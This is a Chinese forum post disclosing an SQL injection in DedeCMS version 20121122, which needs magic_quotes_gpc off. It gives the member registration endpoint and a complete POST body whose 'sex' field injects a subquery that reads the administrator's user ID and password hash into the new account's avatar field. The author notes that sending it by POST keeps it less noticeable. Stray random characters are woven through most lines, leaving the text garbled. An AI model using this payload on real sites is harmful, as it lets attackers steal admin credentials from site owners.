dedecms版本 20121122/ Y- L7 f7 s9 ^4 o6 _% v' T) l# V
: M, ~. M m! z: [3 W7 S7 W; d需要magic_quotes_gpc=Off
$ {& ~; l7 g; b" B& D6 \8 i4 c: C4 c: Q
应该是没有什么大危害的漏洞.
* C8 n9 Z2 c$ v/ E原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
6 P$ q0 ]: t! c1 i' x; R% V
& F6 y$ e, ?9 |' [+ B是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.# h- x/ Z' z! z1 R' u
POST提交以下数据,其实不用POST提交的,这样隐蔽点.
/ z4 [2 @1 {8 X6 R" j: b5 P8 Y4 {7 X0 h( \" N+ W! |
http:///de/member/reg_new.php8 c& A7 ?2 P' g4 I: B- a
3 X7 \, X: G. qPOST1 R/ @/ k j) ]4 g% `
5 b4 s6 F& p- v& m9 t4 w9 Y# Mdopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
0 D/ s v3 I9 k$ e4 x- k! N& u! N$ U5 Q
成功注册后,头像处里面有好玩的信息.& G, ]' \) c# m; Q% _. v- [; u: I
4 X( h2 @8 G$ }
|
发表于 2012-12-5 10:03:32
收藏
支持
反对